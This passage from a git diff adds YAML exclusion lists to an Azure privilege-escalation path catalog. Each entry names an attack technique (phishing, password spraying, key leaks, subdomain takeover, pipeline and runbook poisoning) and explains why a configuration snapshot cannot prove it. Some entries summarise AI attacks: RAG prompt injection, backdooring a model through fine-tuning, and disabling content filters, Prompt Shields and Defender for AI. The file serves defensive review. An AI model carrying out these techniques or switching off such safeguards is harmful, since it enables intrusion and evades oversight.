src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md#microsoftappsessionpoolsexecutionsaction + source_revision: 171e422 + technique: Execute code in a dynamic session + original_id: azure-containerapp-sessionpool-executions + reason: 'NEEDS SCHEMA: Session execution grant does not prove the exact session exposes the attached managed identity or a usable token/new action was obtained.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md#microsoftauthorizationpolicydefinitionswrite + source_revision: 171e422 + technique: Rewrite an assigned deployIfNotExists/modify policy so its remediation runs attacker-chosen deployments + original_id: azure-policy-definition-write-remediation-identity + reason: 'NEEDS SCHEMA: Policy definition write alone does not prove an exact definition-to-assignment-to-MI join, remediation execution, or an observed newly authorized action as that MI.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md#abuse-jobscheduleswrite-to-run-an-existing-privileged-runbook + source_revision: 171e422 + technique: Trigger an existing published runbook with attacker-chosen parameters + original_id: azure-automation-trigger-existing-runbook + reason: 'NEEDS SCHEMA: Existing runbook behavior and exact accepted parameters/job execution are uncollected; a trigger grant alone cannot reach the attached managed identity.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md#microsoftautomationautomationaccountssourcecontrolswrite-microsoftautomationautomationaccountssourcecontrolsread + source_revision: a66f094ede + technique: Configure source control to import attacker runbooks and run them + original_id: azure-automation-source-control-import + reason: 'NEEDS SCHEMA: Source-control import does not prove a bound repository, accepted malicious runbook, later trigger, or execution under the exact account identity.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md#poison-a-classic-powershell-dependency-with-moduleswrite + source_revision: 171e422 + technique: Replace a runbook module or package imported by existing runbooks + original_id: azure-automation-poison-module-or-package + reason: 'NEEDS SCHEMA: Module/package write does not prove an exact runbook imports that version and executes it under the named identity.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md#microsoftautomationautomationaccountsvariableswrite + source_revision: 171e422 + technique: Poison Automation variables consumed by existing runbooks + original_id: azure-automation-variable-poisoning + reason: 'NEEDS SCHEMA: Variable write does not prove an exact runbook consumes the value, executes attacker-controlled code, or exposes the account identity.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-devtest-labs-privesc.md#claim--claimanyvm--seize-ownership-of-a-pooled-vm + source_revision: 171e422 + technique: Claim a pooled lab VM + original_id: azure-devtestlabs-claim-vm + reason: 'NEEDS SCHEMA: Lab claim permission does not prove a particular VM is unclaimed/claimable, source login or artifact access, and exact managed-identity token/new action.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-batch-privesc.md#microsoftbatchbatchaccountsapplicationsversionswrite--activateaction--application-package-supply-chain-poisoning + source_revision: 171e422 + technique: Replace a Batch application package version used by pools + original_id: azure-batch-application-package-poisoning + reason: 'NEEDS SCHEMA: Package activation does not prove a precise pool/task references and executes the modified version or reaches its UAMI.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-dev-center-privesc.md#ade-deployment-identity-template-injection-marquee-privesc + source_revision: 171e422 + technique: Deploy an ADE environment whose template runs with the project environment type identity + original_id: azure-devcenter-ade-deployment-identity + reason: 'NEEDS SCHEMA: Environment deployment permission does not prove attacker control of the selected ADE template, successful deployment, or execution under its deployment identity.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-dev-center-privesc.md#dev-center-environment-identity-deployment + source_revision: 658a097d5c + technique: Bind a user-assigned identity to a project environment type and deploy with it + original_id: azure-devcenter-environment-type-assign-user-assigned-identity + reason: 'NEEDS SCHEMA: Identity assignment and environment creation rights do not prove exact dev-center attachment, enabled target, attacker-controlled ADE template, or a successful run as that UAMI.' + +# Key, run, and node-link claims need exact credential or identity proof. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-service-fabric-privesc.md#application-deploy--node-rce + source_revision: 171e422 + technique: Deploy a Service Fabric application to run code on cluster nodes + original_id: azure-servicefabric-application-deploy-node-identity + reason: 'NEEDS SCHEMA: The service-fabric node-VMSS link is explicitly uncollected, so application deployment cannot resolve an exact node managed identity or prove its token was exposed.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-data-factory-privesc.md#pipelineswrite--pipelinescreaterunaction--steal-the-factory-managed-identity-token + source_revision: 171e422 + technique: Replace and run a Data Factory pipeline that authenticates with the factory identity + original_id: azure-datafactory-pipeline-write-and-run + reason: 'NEEDS SCHEMA: Pipeline write and run do not prove which exact factory credential object or attached UAMI the run used and what usable token/new action the source obtained.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-data-factory-privesc.md#redirect-factory-output-through-microsoftdatafactoryfactoriesglobalparameterswrite + source_revision: 171e422 + technique: Redirect an existing pipeline's identity-authenticated call through parameters + original_id: azure-datafactory-parameter-redirection + reason: 'NEEDS SCHEMA: Parameter redirection needs an exact identity-authenticated pipeline, accepted attacker URL parameter, subsequent trigger, and observed credential/new-action outcome.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-data-factory-privesc.md#rce-as-msi-via-a-debug-sandbox-run-no-pipelineswrite + source_revision: a66f094ede + technique: Run a debug sandbox pipeline that authenticates with the factory identity + original_id: azure-datafactory-debug-sandbox-run + reason: 'NEEDS SCHEMA: Debug execution does not prove exact linked-service credential/UAMI binding, supported activity sandbox, and a usable token/new action.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#microsoftwebsiteshostlistkeysaction-and-microsoftwebsitesslotshostlistkeysaction + source_revision: 171e422 + technique: List Function App host keys (master key) + original_id: azure-functions-host-listkeys-master-key + reason: 'NEEDS SCHEMA: Host master key read alone does not prove control of function code, execution as the named app identity, or a usable MI token/new action.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#microsoftwebsitesfunctionsmasterkeyread + source_revision: 171e422 + technique: Read the Function App master key + original_id: azure-functions-masterkey-read + reason: 'NEEDS SCHEMA: Master-key read alone does not prove an exact executable function or source ability to obtain a usable managed-identity token.' + +# Azure ML execution and chosen identity need typed proof. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-machine-learning-privesc.md#workspace-createmodify-as-an-identity-staging-primitive + source_revision: a66f094ede + technique: Attach a user-assigned identity to an Azure ML workspace and run a serverless job as it + original_id: azure-ml-workspace-uami-attach-serverless-job + reason: 'NEEDS SCHEMA: Workspace UAMI attachment does not prove serverless availability, exact job-to-primary-UAMI selection, successful run, and usable target token/new action.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md#microsoftmachinelearningservicesworkspacescomputeswrite + source_revision: 171e422 + technique: Modify or create Azure ML compute that runs with an existing compute identity + original_id: azure-ml-compute-write-existing-identity + reason: 'NEEDS SCHEMA: Compute write alone does not prove accepted code/config change to the exact existing instance, successful execution, and access to its attached identity token/new action.' + +# VM access does not prove guest session or identity token. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md#microsoftcomputevirtualmachinesloginaction + source_revision: 171e422 + technique: Sign in to a VM with Entra ID (user or admin) and use its IMDS identities + original_id: azure-vm-entra-login + reason: 'NEEDS SCHEMA: Entra VM login assignment does not prove installed login extension, reachable VM, Conditional Access acceptance, successful guest session, and exact MI token/new action.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md#microsoftserialconsoleserialportsconnectaction + source_revision: 171e422 + technique: Use Serial Console with a reboot to take over the guest OS + original_id: azure-vm-serial-console-connect + reason: 'NEEDS SCHEMA: Restart and serial-console access do not prove a usable guest recovery/login route, exact VM code execution, or acquisition of its managed-identity token/new action.' + +# HDInsight and DevOps pool execution and identity receipt unproven. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-hdinsight-privesc.md#reset-gateway-credentials-to-take-over-the-cluster + source_revision: 171e422 + technique: Reset the HDInsight gateway (Ambari) credentials + original_id: azure-hdinsight-update-gateway-settings + reason: 'NEEDS SCHEMA: Gateway setting update does not prove a reachable endpoint, node-certificate disclosure, guest escalation, or named MI token/new action.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-hdinsight-privesc.md#arbitrary-root-rce-via-script-actions + source_revision: 171e422 + technique: Run a script action as root on HDInsight nodes + original_id: azure-hdinsight-execute-script-actions + reason: 'NEEDS SCHEMA: Script-action permission alone does not prove execution on the exact node, usable node identity token, or newly allowed action.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-hdinsight-privesc.md#root-rce--persistence-via-hdinsight-applications + source_revision: 171e422 + technique: Install an HDInsight application whose install script runs as root + original_id: azure-hdinsight-applications-write + reason: 'NEEDS SCHEMA: Application write does not prove accepted deployment, execution on the identity-bearing node, or token/new action.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-hdinsight-privesc.md#seed-root-code--attach-an-identity-via-cluster-create-or-update + source_revision: 171e422 + technique: Create an HDInsight cluster with a user-assigned identity and root script actions + original_id: azure-hdinsight-create-with-user-assigned-identity + reason: 'NEEDS SCHEMA: Creating a cluster with an assignable UAMI does not prove source access to a node/session, identity token, or newly allowed action.' +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-managed-devops-pools-privesc.md#bind-a-privileged-identity-to-a-pool-poolswrite--rce-as-identity-via-cicd-jobs + source_revision: 171e422 + technique: Repoint the agent image or VM configuration of a pool that carries identities + original_id: azure-devopspool-write-existing-identity + reason: 'NEEDS SCHEMA: Pool write does not prove an accepted attacker-controlled job executed on the existing pool or reached its named identity.' + +# Function content store target binding uncollected. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#storage-backed-deployment-content + source_revision: 171e422 + technique: Write access to a Function App's backing content storage + original_id: azure-functions-content-storage-write + reason: 'NEEDS SCHEMA: The exact Function App content-storage resource binding is not collected; storage write alone cannot prove code overwrite, accepted execution, or access to the app managed identity.' diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_sweep.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_sweep.yaml new file mode 100644 index 0000000000..af15cff693 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_sweep.yaml @@ -0,0 +1 @@ +# Reviewed privilege-escalation sweep exclusions. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_unauth_s07.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_unauth_s07.yaml new file mode 100644 index 0000000000..c5d2735738 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_unauth_s07.yaml @@ -0,0 +1,186 @@ +# Verified exclusion proposals from pa-az-post-persist-s07.yaml. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-blob-public-unauth.md#static-website-web-exposure--leaked-secrets + source_revision: 0b36331 + technique: Public static website $web exposes embedded secrets + reason: A public static-site setting and $web publicAccess:null do not identify any secret or owner. The exact served file + bytes, anonymous HTTP response, credential issuer and present validity are needed; a storage configuration snapshot cannot + establish that join. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-blob-public-unauth.md#anonymous-blob-listing-and-downloads + source_revision: 0b36331 + technique: Anonymous blob listing/download leads to stored credential discovery + reason: Container publicAccess permits anonymous read or listing, but whether a blob contains a usable credential and who + owns it depends on blob bytes and current issuer state. Blob-level access also requires the exact blob name. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-cognitive-services-openai-unauth.md#service-api-keys + source_revision: 0b36331 + technique: Exposed Cognitive Services/OpenAI API key + reason: The regex only finds candidate text in external repositories, logs or client assets. The exact key bytes, exposed + location, Cognitive Services account, enabled local authentication and current key validity are needed to establish service + authority. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-cognitive-services-openai-unauth.md#azure-ai-search-keys + source_revision: 0b36331 + technique: Exposed Azure AI Search query/admin key + reason: An AI Search key grants query or admin data-plane access only after the exposed bytes are matched to an account + and current key type. External artifact content and live validity are absent from the configuration snapshot. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-cognitive-services-openai-unauth.md#prompt-injection-against-a-public-ai-chatbot-unauth-via-the-app + source_revision: 0b36331 + technique: Public RAG prompt injection or unmapped permitted-groups returns protected content + reason: The page describes protected-content disclosure through application and RAG behavior. An actual public response, + prompt/tool behavior, connected content, Search permitted-groups mapping and app identity authorization are needed; mere + public chatbot configuration does not prove disclosure. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-container-registry-unauth.md#anonymous-pull-and-known-repository-enumeration-oci-registry-v2-api + source_revision: 0b36331 + technique: Anonymous pull of image with embedded credentials + reason: Anonymous pull is only image read. The exact public repository/tag, fetched layer bytes, embedded credential owner + and present validity must be verified before inferring another identity. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-container-registry-unauth.md#registry-usernamepassword-or-tokens + source_revision: 0b36331 + technique: Leaked ACR admin/repository/identity credential + reason: An ACR hostname or credential-shaped string does not grant access. The exposed artifact, accepted admin/repository/identity + credential and its current registry scope must be verified outside the IAM snapshot. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-container-registry-unauth.md#docker-registry-auth-configuration + source_revision: 0b36331 + technique: Leaked Docker auth or identitytoken configuration + reason: Docker auth is base64 encoding and identitytoken is bearer material. Artifact accessibility, decoded value, registry + match, token scope and present validity are runtime/content facts. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md#basic-information + source_revision: 0b36331 + technique: Device-code phishing yields victim access/refresh tokens + reason: Obtaining a victim token requires the victim to enter the attacker code and approve sign-in, plus policy and consent + success. Victim interaction and issued token are not configuration-granted permissions of a source principal. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md#authorization-code-handoff-phishing + source_revision: 0b36331 + technique: Victim returns first-party authorization redirect code + reason: The victim must return a live redirect code. Client, redirect URI, PKCE or client-secret context, expiration, device + policy and token redemption all depend on a particular OAuth transaction and victim behavior. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md#oauth-authorization-response-codes + source_revision: 0b36331 + technique: Code-bearing callback URL leaked in accessible artifact + reason: An artifact may contain a code-shaped callback URL, but a live authorization transaction, matching client/redirect + and PKCE or confidential-client proof are required. Callback log bytes and redemption state are not inventory facts. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-devops-unauth.md#secrets-in-public-repos-pipeline-yaml-logs--artifacts + source_revision: 0b36331 + technique: Public DevOps project repository/build artifacts expose live secret + reason: A public DevOps project exposes source or build data, not automatically a credential. Exact repository/log/artifact + bytes, anonymous availability, issuer ownership, scope and current validity must be checked. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-devops-unauth.md#azure-devops-pats + source_revision: 0b36331 + technique: Leaked Azure DevOps PAT + reason: PAT syntax does not show that an anonymously accessible artifact contains a live token. Token owner, organization, + scopes, expiry and policy state require the actual value and validation. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-devops-unauth.md#legacycontextual-pat-assignments + source_revision: 0b36331 + technique: Leaked legacy or contextual DevOps PAT + reason: The contextual/legacy regex is only another way to find a PAT candidate. The exact exposed value, owner, organization, + scopes and current validity are required, as for the modern PAT record. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-event-grid-messaging-unauth.md#service-api-keys + source_revision: 0b36331 + technique: Exposed messaging service API key + reason: A candidate API-key string does not prove a messaging credential. Artifact bytes, matching service endpoint/rule, + enabled key authentication and current validity are required. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-event-grid-messaging-unauth.md#shared-key-connection-strings + source_revision: 0b36331 + technique: Exposed Event Grid/Event Hubs shared-key connection string + reason: An Event Grid or Event Hubs endpoint is public metadata. The accessible connection-string bytes, matching authorization + rule, current key and rule rights are needed to prove service authority. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-event-grid-messaging-unauth.md#azure-sas-urlstokens + source_revision: 0b36331 + technique: Exposed messaging SAS URL/token + reason: A SAS-looking URL or token is only a candidate. Signature, resource, permission flags, expiry and service-specific + validation must be checked on the exact exposed value. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-iot-hub-dps-unauth.md#shared-key-connection-strings + source_revision: 0b36331 + technique: Leaked IoT Hub or DPS shared key + reason: A HostName or ID Scope does not authenticate to IoT Hub or DPS. Exposed key bytes, policy/device scope and present + acceptance must be verified for a particular artifact. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-iot-hub-dps-unauth.md#enrollment-group-keys-and-device-certificates + source_revision: 0b36331 + technique: Leaked DPS enrollment group key or trusted device certificate/private key + reason: An enrollment-group or device identity requires accepted symmetric key material or a trusted X.509 chain with private + key. The exact material, enrollment configuration and live acceptance are content/runtime facts. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-keyvault-unauth.md#entra-application-secrets-or-identity-tokens + source_revision: 0b36331 + technique: Leaked Entra client secret usable against Key Vault + reason: The page requires an actual valid application secret or private key, mapping to a service principal, vault data-plane + authorization and permitted network path. A regex hit or vault name supplies none of those. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-keyvault-unauth.md#bearer-identity-tokens + source_revision: 0b36331 + technique: Leaked bearer token usable against Key Vault + reason: JWT shape does not establish signature, audience, expiry or bearer possession. The exact token bytes and vault authorization + at redemption time are required to identify a gained subject. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-monitor-alert-phishing.md#azure-monitor-alert-rule + source_revision: 0b36331 + technique: Microsoft-authenticated Monitor alert email used as phishing lure + reason: The attacker creates an alert in their own subscription; victim-tenant privileges arise only if a recipient follows + the phishing payload and completes a separate authentication flow. Email delivery and victim behavior are runtime facts. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-oauth-apps-phishing.md#trusted-first-party-authorization-code-phishing + source_revision: 0b36331 + technique: First-party authorization-code handoff and optional DRS device registration + reason: This first-party code handoff is the same victim-mediated OAuth mechanism as the device-code page, with optional + DRS registration. A returned redeemable code, matching client/redirect/PKCE and device policy are transaction-specific + facts. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-oauth-apps-phishing.md#oauth-authorization-response-codes + source_revision: 0b36331 + technique: Leaked code-bearing callback URL + reason: 'This repeats the leaked callback-code scenario on the device-code page. A code-shaped URL is not enough: transaction + lifetime, matching client/redirect and PKCE or client-secret proof determine token redemption.' +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-password-spraying.md#password-spray + source_revision: 0b36331 + technique: Guess weak Entra/M365 user password + reason: A successful password spray depends on a guessed current password, account state, MFA and Conditional Access at + authentication time. None is a permission or trust grant held by the attacker in a read-only snapshot. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-power-pages-unauth.md#read-dataverse-records-anonymously-via-the-portal-web-api + source_revision: 0b36331 + technique: Anonymous Dataverse read may disclose stored credentials + reason: Anonymous Dataverse GET can expose records, but the alleged credential pivot requires the actual returned row or + attachment bytes, credential owner and present validity. Portal table permission alone proves no credential. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-power-pages-unauth.md#escalate-anonymous--authenticated-via-open-registration + source_revision: 0b36331 + technique: Open registration grants default Authenticated Users web role + reason: Open registration can grant the portal-local Authenticated Users web role, but the gained table rights require the + site setting, successful signup and current web-role/table-permission associations. The catalog snapshot has no portal-account + or role mapping. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-servicebus-unauth.md#shared-key-connection-strings + source_revision: 0b36331 + technique: Leaked Service Bus SharedAccessKey connection string + reason: A Service Bus connection string is usable only if an externally accessible artifact contains the exact current key + for an enabled authorization rule. Namespace configuration alone does not show that leak. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-servicebus-unauth.md#azure-sas-urlstokens + source_revision: 0b36331 + technique: Leaked Service Bus SAS URL/token + reason: A Service Bus SAS requires the exact token, signature, entity URI, rights and unexpired lifetime; a regex or endpoint + cannot prove accepted delegated authority. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-sql-unauth.md#sql-connection-credentials + source_revision: 0b36331 + technique: Leaked SQL password + reason: The exact SQL password, database principal, firewall route and current database grants are required. The page explicitly + says Allow Azure services does not remove SQL authentication. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-storage-unauth.md#anonymous-blob-reads-and-listings + source_revision: 0b36331 + technique: Public container blob read/list exposes credential-containing blob + reason: The storage page describes the same public blob-read mechanism as the public-blob page. Account/container flags + prove only read availability; actual blob bytes and credential validity are required for escalation. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-storage-unauth.md#azure-sas-urlstokens + source_revision: 0b36331 + technique: Leaked Storage SAS + reason: A Storage SAS grants only its signed data-plane rights when the exact exposed token is valid and unexpired. The + configuration snapshot does not contain exposed token bytes or proof of acceptance. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-storage-unauth.md#storage-account-keys + source_revision: 0b36331 + technique: Leaked Storage AccountKey + reason: A public storage account name is not a key. The exact leaked AccountKey, allowSharedKeyAccess state, artifact accessibility + and current key validity are required. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-subdomain-takeover-unauth.md#the-dangling-cname-lifecycle + source_revision: 0b36331 + technique: Reclaim dangling Azure hostname through attacker subscription + reason: A dangling CNAME can lead to domain content control only after a particular Azure name is actually reclaimable. + Live DNS, reservation/verification locks, region and successful registration are external state not proven by victim configuration. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-subdomain-takeover-unauth.md#impact + source_revision: 0b36331 + technique: Takeover of registered OAuth redirect subdomain captures authorization response + reason: A domain claim does not itself grant an OAuth token. The exact registered redirect URI, live victim authorization + response, client/redirect/PKCE or secret constraints and successful redemption must be observed. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-subdomain-takeover-unauth.md#impact + source_revision: 0b36331 + technique: Taken-over sibling subdomain receives domain-scoped session cookies + reason: Session authority requires a successfully claimed sibling host, a cookie Domain covering it, victim browser traffic + and an unexpired reusable session cookie. Those host/browser/runtime facts are not in the Azure snapshot. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_verify_azure.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_verify_azure.yaml new file mode 100644 index 0000000000..478dcacaf8 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_verify_azure.yaml @@ -0,0 +1,1879 @@ +# Azure permission-heading verification at book revision a66f094ede. +- source: src/pentesting-cloud/azure-security/az-persistence/az-ai-foundry-persistence.md#microsoftcognitiveservicesaccountsopenaifine-tuneswrite--model-backdoor--poison-via-fine-tuning + technique: Microsoft.CognitiveServices/accounts/OpenAI/fine-tunes/write — model backdoor / poison via fine-tuning + source_revision: a66f094ede + reason: Fine-tuning and deploying poisoned model weights changes downstream model responses and costs; it does not by itself grant + the Azure/Entra identity of the consuming application. +- source: src/pentesting-cloud/azure-security/az-persistence/az-redis-persistence.md#key-independent-persistence-with-microsoftcacheredisaccesspolicyassignmentswrite + technique: Key-independent persistence with Microsoft.Cache/redis/accessPolicyAssignments/write + source_revision: a66f094ede + reason: This grants an attacker-controlled Entra identity a Redis data-plane policy, not the permissions of a different Azure/Entra + principal; Redis data access is outside this principal-to-principal catalog. +- source: src/pentesting-cloud/azure-security/az-persistence/az-redis-persistence.md#continuous-exfil--persistence-with-microsoftcacheredislinkedserverswrite + technique: Continuous exfil + persistence with Microsoft.Cache/redis/linkedServers/write + source_revision: a66f094ede + reason: Geo-replication copies cached data to another Premium cache; it gives data exfiltration and persistence, not another Azure/Entra + principal. +- source: src/pentesting-cloud/azure-security/az-persistence/az-sql-persistence.md#server-dns-alias-hijack-microsoftsqlserversdnsaliasesacquireaction + technique: Server DNS alias hijack (Microsoft.Sql/servers/dnsAliases/acquire/action) + source_revision: a66f094ede + reason: Moving a SQL DNS alias can harvest SQL-auth credentials when clients reconnect, but that victim interaction and credential + content are not a deterministic Azure/Entra identity edge. +- source: src/pentesting-cloud/azure-security/az-persistence/az-sql-persistence.md#tde-protector-repoint-kill-switch-microsoftsqlserversencryptionprotectorwrite + technique: TDE-protector repoint kill-switch (Microsoft.Sql/servers/encryptionProtector/write) + source_revision: a66f094ede + reason: Repointing the TDE key creates a database outage or ransom lever when the key is revoked; it does not grant another principal's + permissions. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md#microsoftcognitiveservicesaccountsraipolicieswrite--deploymentswrite--disable-content-filters--prompt-injection-shields + technique: Microsoft.CognitiveServices/accounts/raiPolicies/write (+ deployments/write) — disable content filters / prompt-injection + shields + source_revision: a66f094ede + reason: Author/modify an RAI policy that lowers or disables content filters and — critically — Prompt Shields / jailbreak and indirect-prompt-injection + detection, then attach it to a deployment. The section does not establish control of another Azure/Entra principal from this action + alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md#microsoftcognitiveservicesaccountsdefenderforaisettingswrite--disable-defender-for-ai-detection-evasion + technique: Microsoft.CognitiveServices/accounts/defenderForAISettings/write — disable Defender for AI (detection evasion) + source_revision: a66f094ede + reason: Turn off Microsoft Defender for Cloud's threat protection for the AI account, disabling prompt-injection/jailbreak/anomalous-access + alerts before running other techniques — this blinds the primary detection. The section does not establish control of another Azure/Entra + principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md#microsoftcognitiveservicesaccountsdeploymentswrite--deploy-a-model-cost-abuse--inference-surface-creation + technique: Microsoft.CognitiveServices/accounts/deployments/write — deploy a model (cost abuse + inference-surface creation) + source_revision: a66f094ede + reason: Create a new model deployment on the victim account. The section does not establish control of another Azure/Entra principal + from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md#microsoftstoragestorageaccountsblobservicescontainersblobsread + technique: Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read + source_revision: a66f094ede + reason: Blob read can disclose backups or configuration files; credentials inside are content-dependent and no specific Azure/Entra + principal is established. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md#microsoftstoragestorageaccountsblobservicescontainersblobswrite + technique: Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write + source_revision: a66f094ede + reason: Blob poisoning that runs as a privileged consumer is modelled by azure-storage-blob-poisoning-consumer and the Function App + content-storage entries. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-bot-service-post-exploitation.md#microsofthealthbothealthbotsadminconversationlogsexportaction + technique: Microsoft.HealthBot/healthBots/Admin/ConversationLogs/Export/Action + source_revision: a66f094ede + reason: 'bulk sensitive-data disclosure: export one Healthcare Agent''s historical conversation logs as CSV containing every user + utterance, every bot response, conversation identifiers, and configured user. The section does not establish control of another + Azure/Entra principal from this action alone.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md#microsoftdocumentdblocationsrestorabledatabaseaccountsrestoreaction-restore-to-attacker-account-exfil + technique: Microsoft.DocumentDB/locations/restorableDatabaseAccounts/restore/action (restore-to-attacker-account exfil) + source_revision: a66f094ede + reason: The control-plane copy creates an attacker-readable replica of Cosmos documents; it does not grant another Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md#microsoftdocumentdbdatabaseaccountsdatatransferjobswrite-server-side-copy-out + technique: Microsoft.DocumentDB/databaseAccounts/dataTransferJobs/write (server-side copy-out) + source_revision: a66f094ede + reason: The control-plane copy creates an attacker-readable replica of Cosmos documents; it does not grant another Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md#microsoftdocumentdbdatabaseaccountsread--microsoftdocumentdbdatabaseaccountswrite + technique: Microsoft.DocumentDB/databaseAccounts/read && Microsoft.DocumentDB/databaseAccounts/write + source_revision: a66f094ede + reason: 'Full control of the account resource: reading config exposes regions/consistency/network rules; writing lets you relax the + IP firewall (ipRules) or disable disableKeyBasedMetadataWriteAccess /. The section does not establish control of another Azure/Entra + principal from this action alone.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md#microsoftdocumentdbdatabaseaccountssqldatabasescontainersread--microsoftdocumentdbdatabaseaccountssqldatabasescontainerswrite + technique: Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/read && Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/write + source_revision: a66f094ede + reason: Alter container definitions (indexing, TTL, throughput, partition key via recreate). The section does not establish control + of another Azure/Entra principal from this action alone. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md#microsoftdocumentdbdatabaseaccountssqldatabaseswrite--microsoftdocumentdbdatabaseaccountssqldatabasesread + technique: Microsoft.DocumentDB/databaseAccounts/sqlDatabases/write && Microsoft.DocumentDB/databaseAccounts/sqlDatabases/read + source_revision: a66f094ede + reason: Create or delete SQL databases in the account. The section does not establish control of another Azure/Entra principal 